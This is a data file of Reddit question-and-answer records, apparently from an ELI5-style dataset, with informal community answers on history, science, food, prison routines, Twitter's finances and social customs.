{"q_id": "281xtn", "title": "Were the Nibelungen real? Who were they?", "selftext": "I am very confused about them, were they an ethnicity like basques or celts, a tribe like the bajuvares, or just a dynasty?\n\nWhere did they come from and where did they go?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/281xtn/were_the_nibelungen_real_who_were_they/", "answers": {"a_id": ["ci6nb60"], "score": [3], "text": ["Well it *is* pretty weird and unclear. There are various versions of the saga that approach the topic in different ways.\n\nThe most likely, I believe, is that it is some sort of reference (real or mythological) to the genealogy of Gunnar (or Gunther), an early 5^th century king of the East Germanic *Burgundians* during the destruction of the Burgundian kingdom by Attila (or German *Etzel*) and his Huns.\n\nIn the Poetic Edda, *Niflungar* is used several times to refer to both Gunnar himself and his treasures, although other, mostly later, sources use the term *Nibelungen* to refer to a race of dwarves (sometimes also featuring giants), which is what Richard Wagner famously went with for his Ring Cycle.\n\nIn any case, we can say that *one* Nibelung \"dynasty\" did really exist, as a branch of the Pippinids and Carolingians. The illegitimate son of Childebrand I., brother of the *Duke and Prince of the Franks* Charles Martel, was named... Nibelung (~700-780 or something in that area) and several of his descendants were named Nibelung as well, although the genealogy is a bit unreliable. [See here.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://fmg.ac/Projects/MedLands/FRANKISH%20NOBILITY.htm#NIbelungdiedbefore786B"]]}
{"q_id": "1jlxq3", "title": "If Mercury's orbit was tidally locked, how cold would the dark side be?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jlxq3/if_mercurys_orbit_was_tidally_locked_how_cold/", "answers": {"a_id": ["cbfzepo"], "score": [16], "text": ["There are permanently shadowed crater floors on Mercury at below 102K (-276 degrees farenheit)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ombhj", "title": "why do terrorist groups like isis publicly announce when one of their leaders has died?", "selftext": "Isn't that counter productive?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ombhj/eli5_why_do_terrorist_groups_like_isis_publicly/", "answers": {"a_id": ["cvyfycp", "cvyg037", "cvyhm5n"], "score": [16, 65, 6], "text": ["While it doesn't look *good*, it's kind of a necessity. If the Americans announced they've killed someone, and ISIS denies it to save face, what's going to happen when people start asking where that person is? The old adage holds true; the cover up is worse than the scandal.\n\nFurther, it's important to let people know when a leader has died so that people don't try to usurp their authority. If a leader dies without anyone knowing, someone else can *pretend* to be that person, or issue commands in their name. Terrorist organizations like ISIS are already pretty factional and cell based as it is; a situation like this can really muddy up the command structure. \n\nAnd finally, people who die are martyrs. Exonerating the honored dead is important to these types. ", "Many such groups avoid it.  Mullah Omar, a big Taliban leader, was dead a couple years before it came out.  Still, they can't Weekend at Bernie's a terrorist leader forever and if they spin it right they can make their dead leader into a martyr to inspire their followers.  ", "When a leader is killed by the enemy, there are three basic options\n\n* try to keep it secret, to keep the enemy guessing\n* be unable to keep it secret, and let the enemy announce it and take credit for it\n* assume it won't be secret, and get ahead of it, announcing it with your own spin, to reduce the PR spin the enemy gets"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3f65a5", "title": "why do restaurants leave tails on shrimp/prawns in pasta or jambalaya dishes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3f65a5/eli5_why_do_restaurants_leave_tails_on/", "answers": {"a_id": ["ctlm7ox", "ctlpgjq", "ctlpijq"], "score": [9, 4, 3], "text": ["Labour is expensive.\n\nP/D shrimp (peel and deveined) are more expensive than unpeeled. Paying your cooks to pinch tails is also expensive,a nd there's far too much work to be done to waste time doing it. All those costs factor into the cost of the dish (usually about 17-20% of the cost of your dish is labour cost). Higher end places may do it, but you're paying for it.\n\nNow, on the supply side of this, shrimp is sold by \"count per pound\"... 4/6 count, 18/22 count, 50/60 count, etc. Tails add weight to case lots, meaning more money for less shrimp. Pinching tails on the supply side would result in a lot of lost weight (that little bit of shrimp meat left in the tail from mechanical removal would add up quick)\n\nIn other words... shut up and eat your damn meal. ;)\n\n", "[From here](_URL_0_)\n\n >  Shells contain flavor. When the shrimp is cooked into a dish with the tails on the flavor in that tail seeps into the dish. That's why when you see a pasta or similar dish with tail on shrimp that has been tossed together the tail is still on. The shell from shellfish contains an obscene amount of flavor. It's what gives a good bisque it's flavor. It's the same reason we save bones for stock.", "I lived in Asia for a long time where they don't even bother peeling any of the shell off the shrimp or prawn. They simply eat all of it. I thought this was disgusting at first but decided to try it one day and I've never gone back since.\n\nI much prefer shrimp with the shell on than off. It adds flavor and even a great texture.\n\n/u/GreasyOldMan is likely right about the labour cost of the whole thing, but I would actually recommend just eating it as is. If you're like me and the other couple billion people that live in Asia, you might actually prefer it with the shell on. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/Cooking/comments/1h0opw/why_do_many_places_leave_the_tail_on_shrimp_when/capqb0w"], []]}
{"q_id": "49etry", "title": "meldonium and its performance enhancing effect (sharapova)", "selftext": "How effective is this drug really? Is there any kind of reliable study on it?\n\nWhen some athlete is caught having taken an illegal drug, I often get the impression that they took a huge risk for something that was barely performance enhancing if at all. So I guess the bonus question here is how stupid was it to take it considering what could be gained?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49etry/eli5_meldonium_and_its_performance_enhancing/", "answers": {"a_id": ["d0rav3a"], "score": [14], "text": ["First off, it isn't that Sharapova started using it recently, it's that it was *banned* recently. She probably didn't mean to take a risk-- even if she had always intended to *gain an unfair advantage* using the drug, it was just a mistake that she continued using it when it was banned. She never intended to *break any actual rules*. So, that explains the risk/reward trade off. It seemed positive, because she believed it was allowed.\n\nAs for the way it works, medically the drug is meant to improve circulation. It's an \"anti-ischemic\" while ischemia is a lack of blood flow and oxygen to a part of the body. \n\nI'd believe this improves blood flow in general and potentially increases athletic ability because of that. I couldn't find any data supporting either result, but it makes logical sense. The negative side effects would probably be low blood pressure, requiring your heart to work harder to maintain blood flow because of the newly-opened blood vessels, but in a physically fit person it could have performance benefits "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3s72nn", "title": "why is self-help stuff so popular in the us?", "selftext": "Sorry if this question is offensive, but I'm really interested.\n\nI'm from the UK. There is of course plenty of self-help material out here too, in the shape of courses, seminars, etc. But it seems to be met a lot more often with a stern \"probably bullshit\" attitude this side of the Atlantic, whereas there seems to be a thriving industry for this stuff in the states.\n\nPeople like Anthony Robbins, Tai Lopez, Jordan Belfort come to mind, but there's plenty more sinister pseudoscientific stuff if you dig deeper. To be honest, it makes me nervous. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s72nn/eli5_why_is_selfhelp_stuff_so_popular_in_the_us/", "answers": {"a_id": ["cwunwx6"], "score": [2], "text": ["The US is vastly larger, so anything you've got in the UK, we probably have five times as much of here, including kooky self-help people.  I've never heard of the three people you mention, but I don't doubt that they make money off of vulnerable people.  There may also be a tacit cultural aspect to this, too - I have probably never hear about those people because I would know that, whatever you did to learn their names, that's not somewhere an educated American would look for a reputable self-help guide."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "17mpbw", "title": "Does Buoyancy explain the antigravity treadmill ?", "selftext": "(sorry for my bad english, I will do my best) \nI am not sure about explaining the antigravity treadmill (_URL_0_). Is buoyancy the key, or is it that the extra pressure is only applied to the bottom of the body (the sum of the pressure forces being upwards ?). Thanks  !", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17mpbw/does_buoyancy_explain_the_antigravity_treadmill/", "answers": {"a_id": ["c86wnfi", "c870ck9", "c8741i2"], "score": [2, 2, 2], "text": ["I am confused about the question. The air bladder pushes up on the user, bearing some of the weight. Is that what you wanted to know?", "This situation doesn't really have anything to do with buoyant force.  The pressurized air in the bladder is applying force, both directly and via tension in the bladder membrane, to the runner.", "EDIT: I'm dumb.\n\nThe plastic bubble introduces a discontinuity in the fluid, because air outside has a much smaller pressure than inside. So it cannot be buoyancy by definition, since buoyancy is when the pressure varies smoothly over a body.\n\nWhat happens is that the upper part of his body experiences a downward pressure, which is pretty low, because atmospheric pressure isn't too great. His lower torso, however, experiences a much larger upward force. The difference in air pressure lifts the runner. The principle is the same as buoyancy, but amplified due to the discontinuity."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=1Pp91aUr8uo"], "answers_urls": [[], [], []]}
{"q_id": "37dqoo", "title": "how did \"blue raspberry\" come to be a widely used and legitimate flavor?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37dqoo/eli5_how_did_blue_raspberry_come_to_be_a_widely/", "answers": {"a_id": ["crm0dog", "crm0mub"], "score": [43, 21], "text": ["Blue raspberry was created when ice pop manufacturers of the 1970s had too many flavors that all needed the color red: cherry, strawberry, watermelon, raspberry. They decided to make them all different shades of red, but the color they\u2019d settled on for raspberry\u2014a deep red dye called amaranth\u2014had a not-so-small problem: It was proved to cause cancer. The manufacturers scrapped amaranth for a dye called brilliant blue. Even though the color was closer to an electric blue, they decided to combine it with the flavor of whitebark raspberry, and boom: Blue raspberry was born, forever staining kids' tongues a bright, unnatural, I-just-made-out-with-a-Smurf blue.", "Food service industry here, we make and sell a great deal of Italian ice (similar to ice cream but contains no dairy). Blue raspberry exists in order to be blue. You would be amazed at how many people, especially children, will buy the blue-colored option as their first choice. It makes no difference what it tastes like.\n\nLately we've been taking Inca Kola, which is a Mexican soda pop which tastes like vanilla cola, and putting a good big jolt of Royal Blue dye in it. Then we send it through the machine and make frozen dessert out of it. Inca Kola Italian ice would sell _okay_. But Blue Inca sales are staggering. I have to get a bigger batch freezer because we can not manufacture it fast enough to keep up.\n\nThis is also why there is blue cotton candy, etc. Any confection which is colored blue will outsell the competition despite tasting exactly the same. Blue raspberry will outsell raspberry by a wide margin. That is why it is blue. It's just the way that works.\n\nEDIT: name of food coloring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2djfqw", "title": "how are prisoners shaved?", "selftext": "I never really thought about it before but obviously prisoners have to shave but they can't be given razors themselves, does someone do it for them?  Are there dedicated prison barbers?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2djfqw/eli5_how_are_prisoners_shaved/", "answers": {"a_id": ["cjq3u7i", "cjq45cs", "cjq4klt", "cjq4mh4", "cjq5p6y", "cjq8gde", "cjq9u80", "cjqbdiy", "cjqbk8l", "cjqc02n", "cjqdl35", "cjqdy69", "cjqekj7", "cjqf4nw", "cjqg8na", "cjqh36y", "cjqij3d", "cjqkwku", "cjql2ed", "cjqlai3", "cjqlxyl", "cjqm7dp", "cjqo8q5", "cjqp296", "cjqpnoa", "cjqprwc", "cjqpuh1", "cjqq91s", "cjqqab7", "cjqqeuf"], "score": [9, 56, 16, 41, 12, 7, 2, 2, 5, 2, 5, 2, 4, 2, 2, 2, 4, 2, 2, 2, 3, 5, 7, 3, 2, 2, 3, 3, 2, 2], "text": ["I think in some prisons they have a barber job that trustworthy inmates can work cutting and shaving inmates hair. Similar to how they administer shots and medical checkups, only either a fellow inmate does it, or perhaps an outside contractor or barber is let in to regularly cut hair,", "Former Corrections Officer from Florida here...Inmates are issued a single blade razor twice weekly. It works as a basic exchange policy, you give me your old razor WITH THE BLADE still in it and i give you a new one. It was against policy to have an unshaven face, which would result in a disciniplinary write up/taking away of gained time for early release. Typically inmates were cool with this. But occasionally one would snap the razor blade out and make a shank. ", "Worked in an inpatient forensic Psych hospital for about five years: electric razors, under direct supervision. ", "I did a little time in both a county jail and a prison. \n\nIn the county jail I got a very cheap single bladed razor. It did not have a metal blade, I can only assume it was sharp plastic or possibly ceramic. The guards had us sign them out on a sign up sheet, and would come looking for us if we didn't return them by lunch time.\n\nIn the state prison I was issued an actual metal razor. It was a single bladed, plastic, bic style razor. Everyone had to put their initials on them to keep them from getting mixed up, as hepatitis and HIV are very abundant in the prison systems. Once a month I could exchange it for a new one. Keep in mind, I was in a minimum restricted prison, and I can only assume its a different scenario for the maximum security prisoners.\n\nAs for the razors themselves they were terrible and took several swipes before you were smooth. Razor burn was common among the inmates. As far as making them into weapons, we had access to much better \"weapon making materials\" than a cheap little razor. I worked in the kitchen and handed knives often, and there were several other jobs where, power tools, saws and other sharp items were handled.", "Former CO here. If you were in GP (general population) you are allowed 2 razors in your cell. When we do cell searches on a daily basis we'd look at them to ensure they were not modified. Every once in awhile you'd find a loose blade, but it was usually always for \"lining up\" their hairline. This was most common with black or latin inmates. I think in 2 years I found 3 weapons with a razor in it, and it was stashed in their cell.\n\nFor maximum security inmates they'd have to put in a request sheet to shave. We would take the razor to them and stand at their cell door and supervise them while they shave. We'd take it back after they were finished. \n\nAd Seg (Administrative Segregation,  also known as the \"Hole\") were not allowed to shave until their punishment was up.\n\nEvery facility have different rules and regulations, but this is how mine worked.", "I spent 3 weeks in county. Twice a week the guards would come by wake everyone up, ask if they want a razor, pass it to them, 30 minutes later come and collect. Its a single blade, that rips your hair more than shaves. You always bleed.\nAnd for hair cuts once a month they would leave buzzers in the pod (room of like 50 people) for a few hours and they would cut their own hair or generally everyone thought they were a barber and do it for you. Again everyone would bleed I would not advise this... fucking aids.", "They're about to take out single blade and do only electric razors in NC prisons. Max security prisons anyways", "The local jail issues them to inmates once a week.   The C. O. picks them up with a big magnet when they exchange them so the inmate can't sneak the blade out.  They have trustees that work as barbers.  They are issued a numbered tool box with supplies in it and it is inventoried when they are done.  Some of the high risk inmates are cuffed and shackled and a C. O. watches while they get a haircut.\n\nI have seen some horrible injuries caused by those little razor blades.  Suicide attempts, suicides, attempted murders, and a murder.  I would not underestimate the risk of a concealed razor.  ", "In Missouri prison you can order single blade and double blade razors off commissary. You can also order an electric beard trimmer.\n\nThey do have dedicated prison barbers. The \"White\" barber and the \"Black\" barber. I'm sure you can decode the labels. It's against the rules for the barbers to use the hair clippers on facial hair. They might have to cut your hair for free but if you want them to do a good job you better bring something.*(Soups, Stamps, and Smokes are the most common currency)*\n\nIf you can't cut hair...don't be the barber! Mess up someones hair you're gonna fuck around and get fucked around!", "When I was in jail they gave me some cheap plastic razor to shave with", "At a low security US Federal Prison: inmates are provided with single blade disposable razors monthly (as well as toothpaste/brush, toilet paper, and soap/shampoo). I forget how many, I think 4-6. There was not an exchange system, you got to keep them. Higher quality razors were available in the commissary (triple blade or something like that).\n\nFun prison hack: they're used (in combination with batteries) to light cigarettes. Crack open two razors, hold the blades against the ends of a AA battery, complete the circuit to make a hot spot. Inmates with burns on their fingers are the ones that are smokers :)\n\nThere *are* dedicated prison barbers, but not for shaving. They were inmates employed by the BOP that gave haircuts to inmates. It was free but it is customary to tip them a mack (mackerel).", "When I was in a regional, private owned jail in VA, we had to line up in the mornings and there would be about 20 razors handed out. If you were the 21st person, norazor4u. We then had about 10 minutes to shave, after that the razors were checked and turned back in.", "i was in a max facility jail in ohio, guards would bring in razors and offer the option to shave every 3 days. the name of the inmate would be cataloged and a razor provided along with roughly 15 minutes to shave with a single blade disposable razor. upon the end of the time, officers would come collect the razors and every inmate would turn their blade in to the receiving officer. they would then mark the inmate down as having it turned in. if a blade went missing they would toss the range to find the razor. this was in one of the min security ranges in the facility. each range had different procedures based upon the risk level of the inmate.", "At my fathers prison there is a barber room. You walk in and sit down and a fellow inmate shaves your head and face. A single guard watches.\n\nYou weren't wondering but they cut their nails by sharing a community nail clipper. There's one and they all take turns.", "I remember they just would give us a single blade bic razor... u got 15 min to shave. When u were done u threw ur razor under ur locked cell door. If u didnt hell broke loose", "MACHETE DON'T SHAVE.", "Was in prison. They give out a single blade cheap razor (think like a Bic disposable). Every inmate in the cell block that gets a razor is recorded. At the end of the allotted time the razors are turned back in to the guards (COs) for disposal. If you don't bring your razor back you get taken straight to the hole. Also the whole cell block is searched. This involves all of your belongings being thrown on the floor by all the guards looking for the razor. So when you DO get out of the hole you also have anywhere from 20-100 very very angry inmates awaiting your return. ", "I watched a documentary once about a mid security prison where older life sentence dudes who were trusted by their prison's officials would be paid to work as barbers full time during the day. \n\nThey would shave people and cut their hair with legitimate scissors and straight razors. This apparently is such a coveted position amongst the inmates there that none of those lucky enough to receive it even contemplated abusing the trust given to them. The prison barber shop is a place free of gang affiliation and conflict, and as of the filming of that documentary there hadn't been a single incident of foul play throughout the half dozen decades the shop had been open. ", "We give them out in indigent packages each month. No exchange needed. We also have a barber shop for everyone to use who can just trim you up. RHU convicts are allowed to shave while they shower Mon Wed Fri. They are required to turn then in after the shower. We also ask up to triple blade razors or electric trimmers on canteen also. \n\nSouce: 6 years and counting as a CO at a Medium security facility.", "Whwn I was in jail the inmates on work detail would cut your hair. For shaving you could get a cream that basically mwlted the hair off our face. Apply, wait 5 minutes, and wash off and hair is gone.", "Canadian here. In detention centers razors (disposable, plastic one blade razors) are handed out once every three days. The idea being that if an inmate has a court date he will have the chance to look presentable in court. Inmates are given a razor each in their cells. After a period of EXACTLY 45 minutes the razors are then collected. If even one razor is tampered with or missing the entire institution goes on lock down until said razor is found. And trust me you DO NOT want to be the dude that lost his razor and made everyone miss their phone, yard and time outside of their cells.\n\nSource: Made a few bad decisions when I was younger.", "Believe it or not, there are razors [specifically designed for use in prisons.](_URL_1_)\n\n\nI used to work in juvenile hall school and we would buy no-shank pencils from a website that sold all kinds of fun prison-friendly products. The kids hated those [pencils.](_URL_0_)", "Former corrections officer here: \nWe would issue razors first thing in the morning, the inmates would line up single file, I would hand an inmate a single blade razor, take the cap off write with a Sharpe the inmates name on the razor as well as his room number on the cap, as well as Mark the razor off on the recall log next to his name specifying he is in possession of a razor. This process would be repeated for each inmate. They would be given 20 minutes or so to shave before having to return it. To return it they would need to clean the razor, hold it out in front of them and I would inspect the razor to make sure it wasn't tampered with and the actual razor removed and replaced with foil or something. I would then have the inmate place the razor cap back on and dispose the razor in locked hazmat container. His name would be marked that he returned it. This would repeat until all the razors were turned back in. Any other questions on corrections and jails I'll be glad to answer.", "Just got out of county. On Monday, Wednesday, and Friday, between the hours of 8 and 9 one could sign out a single blade disposable razor for 15 minutes. The razors were inspected upon return and any tampering resulted in a month in the hole.", "I have worked in a maximum security facility. At the institution I volunteered at incarcerated folks were given razors and allowed to shave in their cells while a guard stood at the door and watched; the razor is then returned to the officer after the shaving is done. I am not sure if the policy has changed as it has been some months since I have been there. It may have been changed due to the fact that some inmates have told me that others remove the blades and replace them with the inside of chip bags/ other shiny objects while the officers are not paying attention.\n\nSource: Maximum security prison volunteer / prison activist", "Not prison, but went through rehab as a minor. We were not allowed any razors at any time unless they were electric, which we checked in and out at specific times only. \n\nYou were not allowed to take the razor around corners. Faculty staff must see you at all times, meaning you'd sit out in the hall and use it.\n\nThis was to prevent kids from hurting other kids, but more to prevent kids from killing themselves. There were so many other precautions taken in the facility like this. ", "Some have dedicated barbers.  The one I worked at, there was a sign up sheet for getting your hair cut.  The barber did it in the rotunda, (what we called the center hub of the prison house).  They were given scissors and clippers that are locked away when not in use.  If the person is called for their hair cut, and don't show, their appointment gets canceled and they have to reschedule.\n\nThe barber can't give certain cuts, shaving gang symbols in the persons head, etc., nor can they give wild hair cuts, like spiked mo-hawks.  Afterword, the barber sweeps up the hair and cleans up the area, and the cutting utensils get locked back up.\n\nAs far as beards, they're allowed to purchase cheap disposable razors from the canteen, (where they buy snacks and hygiene products).\n\nThis is just from when I worked at a state level prison in Missouri years ago, so it's different in other areas and may have even changed where I used to work.", "They get razors. Mentally ill/ extremely violent inmates get an electric razor while supervised. \n\nSource: I am a correctional officer\n", "I will say they have the shittiest razors in existence.\n\n\nI got arrested and had mild stubble. The razor literally would not even cut the stubble, and by the time I got bailed out I looked like a hobo.", "Like everyone else has said, they are issued single blade razors. However at the facility I work in we only give them one hour with the blade. We take their wristband ID when we give them the razor, when we get the it back we check to make sure the blade is still intact and return the ID."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.handcuffwarehouse.com/No-Shank-Super-Flex-Pencils-100.html", "http://www.buyphoenixsupply.com/Razors-C30.aspx"], [], [], [], [], [], [], [], []]}
{"q_id": "5t09p7", "title": "why are twitter recording such huge quarterly losses?", "selftext": "They earned 717 Million Dollars in revenue in quarter 4, largely from advertising. But still posted a loss of 167 million. What on earth are they spending so much money on?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5t09p7/eli5why_are_twitter_recording_such_huge_quarterly/", "answers": {"a_id": ["ddj955q", "ddj96qd", "ddj9i5a", "ddj9igx", "ddkf6mg"], "score": [7, 8, 99, 10, 10], "text": ["*My first reply I only saw the title*\n\nMost of the expenses are likely from not only the servers that run Twitter, but the back ups of the servers as well. In addition, you would need an IT staff around the clock to be able to put out any fires before they have catastrophic consequences.\n\nTwitter whole purpose is to allow people to post thoughts and weblinks, etc. immediately.  In other words, twitter being down would completely unacceptable, otherwise you'll lose business as people will go to other social media platforms to post their items and ad revenues would decrease as companies would spend money elsewhere.  So they are losing money still, but if their reliability is compromised, they would likely be hemorrhaging money even further. \n\n\n\n", "Operating costs, R & D, customer acquisition.\n\nThe big thing to look at in these huge companies in base user growth, and daily/monthly users which is usually why its also reported in their earnings statements. This can help show investors, \"yeah we lost $150m but we gained 5m users this quarter and are set to lose less or profit next quarter/year/century\" \n\nThat or they're just hemorrhaging money and we could be looking at a BK in a few years ", "From Twitter's official filings as a public company _URL_0_\n\n- Revenue 717,206\n- Cost of revenue -305,710\n- Research and development -202,128\n- Sales and marketing -260,603\n- General and administrative -92,392\n\nCost of revenue = servers and operations staff to keep servers running\nR+D = developers to make new features for twitter\nS+M = advertising Twitter itself, sales staff to reach out to companies and have them advertise on twitter\n", "It costs money to maintain the business as well as expand and grow. \nThe revenue is the total amount of money made by the business BEFORE the costs are put into the equation. Things that they could be spending money on: Research and development, Employee salaries, server maintenance, garden gnomes , merger/acquisition ( buying smaller companies), Debt ( companies borrow huge amounts of money to grow themselves)", "As others have already pointed out, Twitter is an expensive operation. I want to drill down on one specific aspect of its operations.\n\nIf you talked to anyone at Twitter, they would actually tell you that they made a net profit this last quarter:\n\n >  * Q4 GAAP net loss of $167 million and **non-GAAP net income of $119 million**.\n\n^(_- from their SEC filings, emphasis mine_)\n\nThat's quite a big difference! What is this GAAP and non-GAAP business and why does it give such wildly different profit models?\n\nHerein lies one of the costliest aspect of Twitter's operation: **employee retention**. This is a well-known secret within the tech industry, and it is somewhat peculiar that a (relatively, by the tech standard) mature company has to spend so much money to keep a reasonable tenure rate that it's pushing their profit margins into the black hemisphere.\n\n**GAAP vs OLD NAVY**\n\nGAAP and non-GAAP are two different accounting models that the CFO and his analysts use to compile Twitter's financials. In simple terms, GAAP is the model that the security exchange wants, and the non-GAAP model basically takes some of the expenses of running Twitter, and reasons that they are \"self-reinvesting\" enough that they shouldn't be accounted for as an expense altogether.\n\nFor Twitter, their non-GAAP trick is to magically erase the impact of \"Stock-based compensation expense\" and \"restructuring changes\". In other words, they don't believe that their accountants should really care about what they have to pay their employees to show up everyday because that's not really reflective of whether they will succeed.\n\nOf course, this raises several questions.\n\n**Why would anyone care about the no-compensation model in the first place?**\n\nCompensation is as much of a cost of operations as RnD, servers, physical assets, or a host of other expenses required to keep Twitter chugging along. This is obviously the opinion of the SEC as well, so why does Twitter even think it can get away with reporting a, quote, \"non-GAAP net income of $119 million\"?\n\nWell, it turns out that there is some precedence for evaluating a company's *potential* even when they are not profitable. For many early companies, shelling out for good talent from time to time (or during growth sprees) isn't really an ominous thing. Nevertheless, standard accounting of their financials would lead your shareholders to believe that, because Foofle brought on an expensive director this year, its profit suffered. For healthy companies, excluding these expenses actually can give shareholders more clarity on the long-term direction of their company.\n\nSo far everything seems reasonable, but there's more to Twitter than meets the eye.\n\n**Why are Twitter's financials peculiar?**\n\nWell, it's actually not that difficult to answer. Including both stock compensation and restructuring fees, Twitter spends around $240m to make sure that their employees keep coming into work every morning. With a total revenue of $700m, that's over a third of its total revenue! (For reference, Facebook, who pays the third most to retain employees, only pays out 15% of their total revenue) No other comparable companies in that vertical, or even in tech in general, spends that much to keep their employees.\n\nWhy is Twitter having trouble here? Well, the fact of the matter is, the RSUs (stock units/shares in Twitter) that the company grants to its employers is losing value every quarter. If you look at the historical price per share since Twitter went public, it's been dipping monotonically. As a result, the shares that were granted to an employee is only worth a fraction of the prices that they are worth when they were granted. (Some of this depends on the technicality of how those shares vest/when they can be sold).\n\nObviously, people are generally not very happy when they are holding what appears to be a depreciating asset. As a result, to keep their employees happy, Twitter will re-issue refresher stocks each year to compensate for the depreciation in the value of their equity, as well as a bit extra as a bonus (probably).\n\nSo what's wrong with that?\n\nNothing. It's just that Twitter's performing so poorly that, to keep their compensation competitive, they're actually eating up a third of its revenue in order to keep their engineers, their strategist, and their other employees happy.\n\nBut there's some good news for Twitter at least. This percentage of total revenue that goes towards employee retention is declining every year (it was about 50% back in 2014). For the most part, this is mostly due to increasing revenue. However, if they become GAAP profitable and beat earnings, their stock prices will probably go up. At that point, their employees stocks will suddenly become an appreciating asset. As a result, they'll probably also stop bleeding so much money out to compensation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://investor.twitterinc.com/secfiling.cfm?filingID=1564590-17-1236&amp;CIK=1418091"], [], []]}
{"q_id": "5pvvb6", "title": "why do people go for coffee/tea/a drink as a way of meeting each other for a chat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5pvvb6/eli5_why_do_people_go_for_coffeeteaa_drink_as_a/", "answers": {"a_id": ["dcu7hbt", "dcu7tip", "dcu8q67", "dcu8s5q", "dcub325", "dcubyko", "dcue68f", "dcue699", "dcufonh", "dcufsxm", "dcugceu", "dcugfdf", "dcugm6m", "dcuriq5"], "score": [426, 6, 22, 73, 7, 2, 14, 32, 3, 4, 4, 3, 3, 2], "text": ["It's an open, public place, and it's something fairly non-committal. If you sit down for a full meal, you're there for probably the better part of an hour. If you grab a coffee, you can chat for as long or short as you like depending on what's going on. It's also pretty cheap, only spending a few bucks for a drink rather than maybe $20 or more for a full meal. Timing is also more flexible. You can grab a drink whenever, but going for a meal at something like 3:00 in the afternoon is a bit odd.", "Especially as a strong coffee almost makes me want to crap myself within minutes of finishing it ", "Because tea is fucking brilliant.\n\nIt's cheap, not many people like spending lots on a first date.\n\nAlso, it's a public place where someone could make an excuse to leave if they wanted to, unlike some other dates (E.g. dinner or bowling, which you will have to stay there for the duration).", "It's a common practice that is done in a public non threatening location. Nearly everyone drinks coffee, tea, cocktails, and or other beverages, otherwise they... you know... die. Also, this doesn't require a lot of time or cost by either party so there is a low risk/reward threshold.\n\nI'm not sure what could be more cost effective... maybe meeting for gum on a street corner?", "It's also just something to do. If you meet a friend and sit in a chair and just talk, it's not that memorable. When you have a store or a good drink to connect it to, more of your sense are connected to that memory, therefore that memory is more engrained in the mind. The more sense you use in a situation, the deeper and more real that experience becomes ", "Public guarantees a certain level of restriction from the part of the other individual, no drama, no intensity.  \nsure, you might say its unproductive, as you should want to discover someones true self and negatives as fast as possible. but people are comfort animals, they act mostly out of fog brain not out of reason.  \nits also cultural, its not as relevant how culture came to be, be it a movie a song or whatever. once its on, its on, and 90% of humans will abide by it, appeal to authority fallacy if u will   \n", "Why don't they go for caramels? It's as arbitrary as drinking coffee.", "All of these answers are totally spot on but, also, caffeine and alcohol make you want to talk. Caffeine is a stimulant so you naturally want to converse more while alcohol decreases your inhibitions and removes many social anxieties because of it. You naturally want to talk more, are more engaging and can leave if it gets weird.", "It's a time honoured tradition. Offering a drink to visitors goes back centuries. They just didn't have baristas and teeny tiny shortbreads back then! ", "In addition, it is not romantic, so less chance of someone mistaking it for a date. You are going to a bustling, well-lit public place for a fairly short period of time. You are drinking something to make you more alert, as opposed to alcohol which will make you less alert. I can ask a male colleague to discuss a project with me while we get coffee, but if I said \"Let's discuss it over lunch,\" \"Let's get a beer and talk it over,\" that could have very different implications. ", "Sharing a drink of some sort has been a social ritual of long standing. In ancient times, the sharing of tea was a time when differences were put aside for a few moments and people were able to get along, even if they were enemies. It was also a ritualistic way for a host to demonstrate to the guest the honor that the host felt in having the guest in their presence. These rituals were slow and took much time. In more modern environs, coffee has been added to the mix of beverages; as well as a shot of good bourbon in some boardrooms. ", "Less time commitment than a dinner, and there's still something in common to talk about. \n\nDinner is a guaranteed longer time period, and people don't want to do that without knowing a bit more about someone first.\n\nGoing out for a drink is a short time period that can be extended if both parties want to.\n\n", "I have a friend that I meet once a week for coffee.  For us, the timing is key.  It's right after we drop our kids off for school, but an hour before work.  It gives us about 45 minutes of uninterrupted time to catch up.  When we spend time at each other's houses, our conversations are constantly interrupted by kids needing things, etc. This gives us a chance to chat without kids, pets, spouses, chores, or messy houses interrupting and distracting from the conversation. \n", "If you go to a restaurant, you'll probably have to commit (and make your friend commit) to at least an hour of engagement - and you might not be able to improvise enough small talk to make to each other.\n\nIf you go to a bar you might have to address (or suspect) the issue that your friend is an alcoholic, which will make them feel uncomfortable/embarrassed.  \n\nCaf\u00e9s are neutral territory.  If things aren't going well, it doesn't take long to drink a cup of coffee and you can part on amicable terms.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
